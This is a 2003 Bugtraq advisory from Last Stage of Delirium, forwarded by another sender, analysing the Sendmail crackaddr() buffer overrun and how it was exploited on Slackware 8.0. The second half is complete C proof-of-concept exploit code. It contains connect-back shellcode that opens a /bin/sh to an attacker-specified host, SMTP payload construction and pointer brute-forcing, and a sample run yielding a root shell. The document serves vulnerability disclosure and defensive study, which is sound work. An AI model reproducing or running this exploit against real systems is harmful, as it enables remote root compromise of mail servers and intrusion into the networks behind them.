[LSD] Technical analysis of the remote sendmail vulnerability

From: Bhamani,Sohail (sohail.bhamani@dhs.state.tx.us)
Date: Tue Mar 04 2003 - 14:00:39 EST


From: Last Stage of Delirium [mailto:contact@lsd-pl.net]
Sent: Tuesday, March 04, 2003 11:42 AM
To: bugtraq@securityfocus.com
Subject: [LSD] Technical analysis of the remote sendmail vulnerability

Hello,

We have done some brief analysis of the potential remote Sendmail
vulnerability that has been reported lately. Below you can read about our
findings with regard to this isse. We reserve the right not to be correct in
whatever we write below. This is mainly due to the fact that we did not
perform full analysis of this issue. If this is the case, please correct any
statements done by us in this post.

TECHNICAL DESCRIPTION
The vulnerability is within the crackaddr(char* addr) function defined in
the headers.c file. By properly constructing the from address string and
passing it to the crackaddr function it is possible to overrun the static
char buf defined within this function. This overrun is possible due to the
incorrect handling of the <> brackets chars in the from address string.
Whenever the closing > bracket is encountered in the address string, the
value of the buflim pointer (denoting the end of the buf buffer above which
no write should be allowed) is incremented by 1. But, in the corresponding
situation, whenever the opening < bracket is detected, the buflim value is
not changed, although it should be decremented. And this is where the actual
origin of the discussed security vulnerability lies.

Because every closing bracket must be preceded by the opening one (this is
assured by the anglelev value), we cannot just simply issue the sequence of
N repeated < chars in order to increase the buflim value by N.
Unfortunately, the <> two character sequence must be always used in order to
increment the value of buflim by 1. This simply leads to the following
equation which can be used for calculating the maximum x value by which the
value of the buflim pointer can be incremented above the size of the buf
buffer:

        (2 * x) <= (MAXNAME + 1 - 7) + x
        x <= (MAXNAME + 1 - 7)

>From the above, it can be seen that the buflim value can go beyond the buf
buffer at maximum by one times of its size (which is 250).

EXPLOITATION
Due to the nature of the overflowed buffer declaration (static),
exploitation of this issue is highly dependant on the way compiler orders
the static data in the data segment. In other words, there must be some
usable static data immediately following our static buf, which when
overflowed can disrupt the execution flow of the sendmail process in such a
way thay program counter value can be fully controlled.

We have inspected this issue a bit more, and found out that on most Unix
systems the buf buffer is not followed by such data. We base this conclusion
upon the simple fact that we didn't manage to crash sendmail by feeding it
with 250 sequences of <> chars in the from address string. This means that
this issue does not seam to be exploitable on them. The following table
presents a summary of our findings:

Freebsd 4.4 - (default & self compiled Sendmail 8.11.6) does not
crash
Solaris 8.0 x86 - (default & self compiled Sendmail 8.11.6) does not
crash
Solaris 8.0 sparc - (default & self compiled Sendmail 8.11.6) does not
crash
HP-UX 10.20 - (self compiled Sendmail 8.11.6) does not
crash
IRIX 6.5.14 - (self compiled Sendmail 8.11.6) does not
crash
AIX 4.3 - (binary of Sendmail 8.11.3 from bull.de) does not
crash
RedHat 7.0 - (default Sendmail 8.11.0) does not
crash
RedHat 7.2 - (default Sendmail 8.11.6) does not
crash
RedHat 7.3 (p) - (patched Sendmail 8.11.6) does not
crash
RedHat 7.0 - (self compiled Sendmail 8.11.6) crashes
RedHat 7.2 - (self compiled Sendmail 8.11.6) crashes
RedHat 7.3 - (self compiled Sendmail 8.11.6) crashes
Slackware 8.0 (p) - (patched Sendmail 8.11.6 binary) crashes
Slackware 8.0 - (self compiled Sendmail 8.12.7) does not
crash
RedHat 7.x - (self compiled Sendmail 8.12.7) does not
crash

(p) - patched box

>From the table above, you can see that there are however some systems that
could be potentially exploitable. These are RedHat and Slackware Linux. We
inspected the reason of the sendmail crashes on these systems and we have
found out that they were due to the invalid value of the MciCache pointer
defined in mci.c file. We investigated this issue a bit more and managed to
successfully exploit this static buf overrun on Linux Slackware 8.0 systems.
We achieved that by properly constructing the MciCache pointer value and
some other pointer values as well. Specifically, we had to patch:

- static MCI **MciCache pointer value to point to our struct mailer_con_info
  entry,
- struct mailer *mci_mailer pointer value from our MCI entry,
- char *mci_host pointer value from our MCI entry,
- FILE *mci_out pointer value from our MCI entry,

By doing the above patching, we could reach the following execution point in
the sendmail process:

Program received signal SIGSEGV, Segmentation fault.
0x400ee94a in _IO_vfprintf (s=0xaabbccdd, format=0x809b773 "%s%s",
    ap=0xbfffd6ac) at vfprintf.c:1024
1024 vfprintf.c: No such file or directory.
(gdb) where
#0 0x400ee94a in _IO_vfprintf (s=0xaabbccdd, format=0x809b773 "%s%s",
    ap=0xbfffd6ac) at vfprintf.c:1024
#1 0x400f7047 in fprintf (stream=0xaabbccdd, format=0x809b773 "%s%s")
    at fprintf.c:32
#2 0x8084ff8 in smtpmessage ()
#3 0x80847ac in smtpquit ()
#4 0x8069e89 in mci_uncache ()
#5 0x8069f14 in mci_flush ()
#6 0x804e0b9 in finis ()
#7 0x8073042 in dowork ()
#8 0x807f9bc in smtp ()
#9 0x804da8e in main ()
#10 0x400c19cb in __libc_start_main (main=0x804ac00 <main>, argc=3,
    argv=0xbffffbe4, init=0x804a07c <_init>, fini=0x808918c <_fini>,
    rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffbdc)
    at ../sysdeps/generic/libc-start.c:92

As you can see, we managed to reach the point where fprintf function call
was done with our value of a FILE* stream pointer.

>From this point, we had to do a bit more patching in order to finally seize
control over the sendmail process. Specifically, we used the fact that the
_IO_FILE (or FILE) object is followed by a pointer to a jump table (of
pointers to functions) in GNU libc. This simply lead us to the following
patching scheme:

- pointer value of a stream parameter passed to the fprintf call was
patched, so
  that it pointed to our FILE object,
- int _flags field from the FILE object, was patched so that its 0x08 bit
was
  cleared,
- signed char _vtable_offset value was patched, so that along with the
  struct _IO_jump_t *vtable it caused that our jump table was accesssed for
file
  IO operations,
- _IO_xsputn_t __xsputn function pointer value was patched, so that it
contained
  the value which we wanted to have in program counter register.

By doing this additional FILE object related patching, we were able to reach
the following execution point in the sendmail process:

Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb) where
#0 0xaabbccdd in ?? ()
#1 0x400f7047 in fprintf (stream=0xbfffa260, format=0x809b773 "%s%s")
    at fprintf.c:32
#2 0x8084ff8 in smtpmessage ()
#3 0x80847ac in smtpquit ()
#4 0x8069e89 in mci_uncache ()
#5 0x8069f14 in mci_flush ()
#6 0x804e0b9 in finis ()
#7 0x8073042 in dowork ()
#8 0x807f9bc in smtp ()
#9 0x804da8e in main ()
#10 0x400c19cb in __libc_start_main (main=0x804ac00 <main>, argc=3,
    argv=0xbffffbe4, init=0x804a07c <_init>, fini=0x808918c <_fini>,
    rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffbdc)
    at ../sysdeps/generic/libc-start.c:92

In a result, we were able to redirect sendmail program execution to any
arbitrary location (our code in particular).

We wrote simple proof of concept code for Linux Slackware 8.0 that does all
of the above. It can be found at the end of this post. The code was written
in such a way so that all of the patching is done almost automatically. The
user does not explixitly specify the locations within the patching buffer -
they are found on the fly upon the knowledge about the beginning location of
the patched buffer and its structure (free/occupied slots). We decided to do
the patching in such a way in order to avoid dealing with illegal characters
in the patching pointers. We also wanted to extend the chance of hitting the
table of pointers to our MCI entries (we wanted to have as many of them as
possible in the patching buf, and all of them in one continuous area). By
doing this, we could reduce the need to brute force the MciCache pointer
value several times (from 4-10).

As for some other issues regarding the sendmail vulnerability exploitation,
it should be mentioned that the user provided from address string can
trigger the overrun in two cases. The first one is when this string is
provided directly in a MAIL FROM smtp command, the second one is when it is
provided in the message body (as the extended From: header field). However,
this second way of triggering the overflow seem to be more adventageous, as
there is much more room available for the from address string contained in
the message body than the smtp command (about 2k contrary to 256 bytes).
There are also some restrictions imposed on the from address string when it
is provided in the smtp command in sendmail 8.12.x and above, which cannot
be simply avoided (in order to pass our arbitrary characters in the from
address string, we enclose them in the comment
() paranthesis).

One more issue with regard to the exploitation is related to the code that
can be executed after successfull exploitation. Because the target process
does not have any active TCP connections open at the time when we can seize
its execution we cannot use findsckcode variant in it. The use of
bindsckcode does not also seem to be usable in the case of sendmail, as mail
servers are usually tightly firewalled and do not allow any incoming
connections to be established. They however must always allow outgoing
connections to other mail servers, this is why the connect code could be
very adventageous in this case and this is why we use it in our POC.

TESTING ENVIROMENT
Our test box was running Linux Slackware 8.0 distribution
(ftp.slackware.org/slackware/slackware-8.0-iso/install.iso) with patched
sendmail binary
(ftp.slackware.org/slackware/slackware-8.0/patches/packages/sendmail.tgz).
The applied patch upgraded sendmail from version 8.11.4 to 8.11.6.

Below you can find the example usage of our proof of concept code:

# ./linx86_sendmail your.target.com -p 0xbfff9f1c -v 80 copyright LAST STAGE
OF DELIRIUM mar 2003 poland //lsd-pl.net/ sendmail 8.11.6 for Slackware 8.0
x86

.................
base 0xbfffa00c mcicache 0xbfffa01c
Linux your.target.com 2.2.19 #93 Thu Jun 21 01:09:03 PDT 2001 i686 unknown
id
uid=0(root) gid=1(bin) groups=7(lp)

IMPACT
Due to the nature of the discussed sendmail vulnerability it seems that it
is unexploitable on most of commercially available UNIX systems. It also
doesn't seem to be exploitable on most of the default SMTP installations of
x86 based open-source systems. This leads to the conclusion that the overall
impact of the vulnerability is rather limited and not so significant as it
might be thought.

Hovever, we cannot exclude that there does not exist another execution path
in the sendmail code, that could lead to the program counter overwrite.

PROOF OF CONCEPT CODE

/*## copyright LAST STAGE OF DELIRIUM mar 2003 poland *://lsd-pl.net/
#*/
/*## sendmail 8.11.6
#*/

/* proof of concept code for remote sendmail vulnerability
*/
/* usage: linx86_sendmail target [-l localaddr] [-b localport] [-p ptr]
*/
/* [-c count] [-t timeout] [-v 80]
*/
/* where:
*/
/* target - address of the target host to run this code against
*/
/* localaddr - address of the host you are running this code from
*/
/* localport - local port that will listen for shellcode connection
*/
/* ptr - base ptr of the sendmail buffer containing our arbitrary data
*/
/* count - brute force loop counter
*/
/* timeout - select call timeout while waiting for shellcode connection
*/
/* v - version of the target OS (currently only Slackware 8.0 is
supported) */
/*
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

#define NOP 0xf8

#define MAXLINE 2048
#define PNUM 12

#define OFF1 (288+156-12)
#define OFF2 (1088+288+156+20+48)
#define OFF3 (139*2)

int tab[]={23,24,25,26};

#define IDX2PTR(i) (PTR+i-OFF1)
#define ALLOCBLOCK(idx,size) memset(&lookup[idx],1,size)

#define NOTVALIDCHAR(c)
(((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||\
                        (((c)&0x7f)==0x24)||(((c)>=0x80)&&((c)<0xa0)))

#define AOFF 33
#define AMSK 38
#define POFF 48
#define PMSK 53

char* lookup=NULL;
int gfirst;

char shellcode[]= /* 116 bytes */
    "\xeb\x02" /* jmp <shellcode+4> */
    "\xeb\x08" /* jmp <shellcode+12> */
    "\xe8\xf9\xff\xff\xff" /* call <shellcode+2> */
    "\xcd\x7f" /* int $0x7f */
    "\xc3" /* ret */
    "\x5f" /* pop %edi */
    "\xff\x47\x01" /* incl 0x1(%edi) */
    "\x31\xc0" /* xor %eax,%eax */
    "\x50" /* push %eax */
    "\x6a\x01" /* push $0x1 */
    "\x6a\x02" /* push $0x2 */
    "\x54" /* push %esp */
    "\x59" /* pop %ecx */
    "\xb0\x66" /* mov $0x66,%al */
    "\x31\xdb" /* xor %ebx,%ebx */
    "\x43" /* inc %ebx */
    "\xff\xd7" /* call *%edi */
    "\xba\xff\xff\xff\xff" /* mov $0xffffffff,%edx */
    "\xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */
    "\x31\xca" /* xor %ecx,%edx */
    "\x52" /* push %edx */
    "\xba\xfd\xff\xff\xff" /* mov $0xfffffffd,%edx */
    "\xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */
    "\x31\xca" /* xor %ecx,%edx */
    "\x52" /* push %edx */
    "\x54" /* push %esp */
    "\x5e" /* pop %esi */
    "\x6a\x10" /* push $0x10 */
    "\x56" /* push %esi */
    "\x50" /* push %eax */
    "\x50" /* push %eax */
    "\x5e" /* pop %esi */
    "\x54" /* push %esp */
    "\x59" /* pop %ecx */
    "\xb0\x66" /* mov $0x66,%al */
    "\x6a\x03" /* push $0x3 */
    "\x5b" /* pop %ebx */
    "\xff\xd7" /* call *%edi */
    "\x56" /* push %esi */
    "\x5b" /* pop %ebx */
    "\x31\xc9" /* xor %ecx,%ecx */
    "\xb1\x03" /* mov $0x3,%cl */
    "\x31\xc0" /* xor %eax,%eax */
    "\xb0\x3f" /* mov $0x3f,%al */
    "\x49" /* dec %ecx */
    "\xff\xd7" /* call *%edi */
    "\x41" /* inc %ecx */
    "\xe2\xf6" /* loop <shellcode+81> */
    "\x31\xc0" /* xor %eax,%eax */
    "\x50" /* push %eax */
    "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
    "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
    "\x54" /* push %esp */
    "\x5b" /* pop %ebx */
    "\x50" /* push %eax */
    "\x53" /* push %ebx */
    "\x54" /* push %esp */
    "\x59" /* pop %ecx */
    "\x31\xd2" /* xor %edx,%edx */
    "\xb0\x0b" /* mov $0xb,%al */
    "\xff\xd7" /* call *%edi */
;

int PTR,MPTR=0xbfffa01c;

void putaddr(char* p,int i) {
 *p++=(i&0xff);
 *p++=((i>>8)&0xff);
 *p++=((i>>16)&0xff);
 *p++=((i>>24)&0xff);
}

void sendcommand(int sck,char *data,char resp) {
 char buf[1024];
 int i;
 if (send(sck,data,strlen(data),0)<0) {
  perror("error");exit(-1);
 }
 if (resp) {
  if ((i=recv(sck,buf,sizeof(buf),0))<0) {
   perror("error");exit(-1);
  }
  buf[i]=0;
  printf("%s",buf);
 }
}

int rev(int a){
 int i=1;
 if((*(char*)&i)) return(a);
return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}

void initlookup() {
 int i;
 if (!(lookup=(char*)malloc(MAXLINE))) {
  printf("error: malloc\n");exit(-1);
 }
 ALLOCBLOCK(0,MAXLINE);
 memset(lookup+OFF1,0,OFF2-OFF1);

 for(i=0;i<sizeof(tab)/4;i++)
  ALLOCBLOCK(OFF1+4*tab[i],4);

 gfirst=1;
}

int validaddr(int addr) {
 unsigned char buf[4],c;
 int i,*p=(int*)buf;
 *p=addr;
 for(i=0;i<4;i++) {
  c=buf[i];
  if (NOTVALIDCHAR(c)) return 0;
 }
 return 1;
}

int freeblock(int idx,int size) {
 int i,j;
 for(i=j=0;i<size;i++) {
  if (!lookup[idx+i]) j++;
 }
 return (i==j);
}

int findblock(int addr,int size,int begin) {
 int i,j,idx,ptr;
 ptr=addr;
 if (begin) {
  idx=OFF1+addr-PTR;
  while(1) {
   while(((!validaddr(ptr))||lookup[idx])&&(idx<OFF2)) {
    idx+=4;
    ptr+=4;
   }
   if (idx>=OFF2) return 0;
   if (freeblock(idx,size)) return idx;
   idx+=4;
   ptr+=4;
  }
 } else {
  idx=addr-PTR;
  while(1) {
   while(((!validaddr(ptr))||lookup[idx])&&(idx>OFF1)) {
    idx-=4;
    ptr-=4;
   }
   if (idx<OFF1) return 0;
   if (freeblock(idx,size)) return idx;
   idx-=4;
   ptr-=4;
  }
 }
}

int findsblock(int sptr) {
 int optr,sidx,size;

 size=gfirst ? 0x2c:0x04;
 optr=sptr;
 while(sidx=findblock(sptr,size,1)) {
  sptr=IDX2PTR(sidx);
  if (gfirst) {
   if (validaddr(sptr)) {
    ALLOCBLOCK(sidx,size);
    break;
   } else sptr=optr;
  } else {
   if
(validaddr(sptr-0x18)&&freeblock(sidx-0x18,4)&&freeblock(sidx+0x0c,4)&&
       freeblock(sidx+0x10,4)&&freeblock(sidx-0x0e,4)) {
    ALLOCBLOCK(sidx-0x18,4);
    ALLOCBLOCK(sidx-0x0e,2);
    ALLOCBLOCK(sidx,4);
    ALLOCBLOCK(sidx+0x0c,4);
    ALLOCBLOCK(sidx+0x10,4);
    sidx-=0x18;
    break;
   } else sptr=optr;
  }
  sptr+=4;
  optr=sptr;
  }
 gfirst=0;
 return sidx;
}

int findfblock(int fptr,int i1,int i2,int i3) {
 int fidx,optr;
 optr=fptr;
 while(fidx=findblock(fptr,4,0)) {
  fptr=IDX2PTR(fidx);
  if (validaddr(fptr-i2)&&validaddr(fptr-i2-i3)&&freeblock(fidx-i3,4)&&
      freeblock(fidx-i2-i3,4)&&freeblock(fidx-i2-i3+i1,4)) {
   ALLOCBLOCK(fidx,4);
   ALLOCBLOCK(fidx-i3,4);
   ALLOCBLOCK(fidx-i2-i3,4);
   ALLOCBLOCK(fidx-i2-i3+i1,4);
   break;
  } else fptr=optr;
  fptr-=4;
  optr=fptr;
 }
 return fidx;
}

void findvalmask(char* val,char* mask,int len) {
 int i;
 unsigned char c,m;
 for(i=0;i<len;i++) {
  c=val[i];
  m=0xff;
  while(NOTVALIDCHAR(c^m)||NOTVALIDCHAR(m)) m--;
  val[i]=c^m;
  mask[i]=m;
 }
}

void initasmcode(char *addr,int port) {
 char abuf[4],amask[4],pbuf[2],pmask[2];
 char name[256];
 struct hostent *hp;
 int i;

 if (!addr) gethostname(name,sizeof(name));
  else strcpy(name,addr);

 if ((i=inet_addr(name))==-1) {
  if ((hp=gethostbyname(name))==NULL) {
   printf("error: address\n");exit(-1);
  }
  memcpy(&i,hp->h_addr,4);
 }

 putaddr(abuf,rev(i));

 pbuf[0]=(port>>8)&0xff;
 pbuf[1]=(port)&0xff;

 findvalmask(abuf,amask,4);
 findvalmask(pbuf,pmask,2);

 memcpy(&shellcode[AOFF],abuf,4); memcpy(&shellcode[AMSK],amask,4);
memcpy(&shellcode[POFF],pbuf,2); memcpy(&shellcode[PMSK],pmask,2); }

int main(int argc,char **argv){
    int sck,srv,i,j,cnt,jidx,aidx,sidx,fidx,aptr,sptr,fptr,ssize,fsize,jmp;
    int c,l,i1,i2,i3,i4,found,vers=80,count=256,timeout=1,port=25;
    fd_set readfs;
    struct timeval t;
    struct sockaddr_in address;
    struct hostent *hp;
    char buf[4096],cmd[4096];
    char *p,*host,*myhost=NULL;

    printf("copyright LAST STAGE OF DELIRIUM mar 2003 poland
//lsd-pl.net/\n");
    printf("sendmail 8.11.6 for Slackware 8.0 x86\n\n");

    if (argc<3) {
     printf("usage: %s target [-l localaddr] [-b localport] [-p ptr] [-c
count] [-t timeout] [-v 80]\n",argv[0]);
     exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"b:c:l:p:t:v:"))!=-1) {
     switch(c) {
      case 'b': port=atoi(optarg);break;
      case 'c': count=atoi(optarg);break;
      case 'l': myhost=optarg;break;
      case 't': timeout=atoi(optarg);break;
      case 'v': vers=atoi(optarg);break;
      case 'p': sscanf(optarg,"%x",&MPTR);
     }
    }

    host=argv[1];

    srv=socket(AF_INET,SOCK_STREAM,0);
    bzero(&address,sizeof(address));
    address.sin_family=AF_INET;
    address.sin_port=htons(port);
    if (bind(srv,(struct sockaddr*)&address,sizeof(address))==-1) {
     printf("error: bind\n");exit(-1);
    }
    if (listen(srv,10)==-1) {
     printf("error: listen\n");exit(-1);
    }

    initasmcode(myhost,port);

    for(i4=0;i4<count;i4++,MPTR+=cnt*4) {
     PTR=MPTR;
     sck=socket(AF_INET,SOCK_STREAM,0);
     bzero(&address,sizeof(address));
     address.sin_family=AF_INET;
     address.sin_port=htons(25);
     if ((address.sin_addr.s_addr=inet_addr(host))==-1) {
      if ((hp=gethostbyname(host))==NULL) {
       printf("error: address\n");exit(-1);
      }
      memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
     }
     if (connect(sck,(struct sockaddr*)&address,sizeof(address))==-1) {
      printf("error: connect\n");exit(-1);
     }
     initlookup();

     sendcommand(sck,"helo yahoo.com\n",0);
     sendcommand(sck,"mail from: anonymous@yahoo.com\n",0);
     sendcommand(sck,"rcpt to: lp\n",0);
     sendcommand(sck,"data\n",0);

     aidx=findblock(PTR,PNUM*4,1);
     ALLOCBLOCK(aidx,PNUM*4);
     aptr=IDX2PTR(aidx);

     printf(".");fflush(stdout);

     jidx=findblock(PTR,strlen(shellcode)+PNUM*4,1);
     ALLOCBLOCK(jidx,strlen(shellcode)+PNUM*4);

     switch(vers) {
      case 80: l=28;i1=0x46;i2=0x94;i3=0x1c;break;
      default: exit(-1);
     }

     i2-=8;

     p=buf;
     for(i=0;i<138;i++) {
      *p++='<';*p++='>';
     }
     *p++='(';
     for(i=0;i<l;i++) *p++=NOP;
     *p++=')';
     *p++=0;

     putaddr(&buf[OFF3+l],aptr);
     sprintf(cmd,"From: %s\n",buf);
     sendcommand(sck,cmd,0);
     sendcommand(sck,"Subject: hello\n",0);
     memset(cmd,NOP,MAXLINE);
     cmd[MAXLINE-2]='\n';
     cmd[MAXLINE-1]=0;

     cnt=0;

     while(cnt<PNUM) {
      sptr=aptr;
      fptr=IDX2PTR(OFF2);

      if (!(sidx=findsblock(sptr))) break;
      sptr=IDX2PTR(sidx);
      if (!(fidx=findfblock(fptr,i1,i2,i3))) break;
      fptr=IDX2PTR(fidx);

      jmp=IDX2PTR(jidx);
      while (!validaddr(jmp)) jmp+=4;

      putaddr(&cmd[aidx],sptr);
      putaddr(&cmd[sidx+0x24],aptr);
      putaddr(&cmd[sidx+0x28],aptr);
      putaddr(&cmd[sidx+0x18],fptr-i2-i3);

      putaddr(&cmd[fidx-i2-i3],0x01010101);
      putaddr(&cmd[fidx-i2-i3+i1],0xfffffff8);

      putaddr(&cmd[fidx-i3],fptr-i3);
      putaddr(&cmd[fidx],jmp);

      aidx+=4;
      PTR-=4;
      cnt++;
     }

     p=&cmd[jidx+4*PNUM];
      for(i=0;i<strlen(shellcode);i++) {
      *p++=shellcode[i];
     }
     sendcommand(sck,cmd,0);
     sendcommand(sck,"\n",0);
     sendcommand(sck,".\n",0);
     free(lookup);

     FD_ZERO(&readfs);
     FD_SET(0,&readfs);
     FD_SET(srv,&readfs);

     t.tv_sec=timeout;
     t.tv_usec=0;

     if (select(srv+1,&readfs,NULL,NULL,&t)>0) {
      close(sck);
      found=1;
      if ((sck=accept(srv,(struct sockaddr*)&address,&l))==-1) {
        printf("error: accept\n");exit(-1);
      }
      close(srv);

      printf("\nbase 0x%08x mcicache 0x%08x\n",PTR,aptr);

      write(sck,"/bin/uname -a\n",14);
     } else {
      close(sck);
      found=0;
     }

     while(found){
        FD_ZERO(&readfs);
        FD_SET(0,&readfs);
        FD_SET(sck,&readfs);
        if(select(sck+1,&readfs,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&readfs)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                     else {printf("koniec\n");exit(-1);}
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&readfs)){
                if((cnt=read(sck,buf,1024))<1){
                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                     else {printf("koniec\n");exit(-1);}
                }
                write(1,buf,cnt);
            }
        }
    }
  }
}
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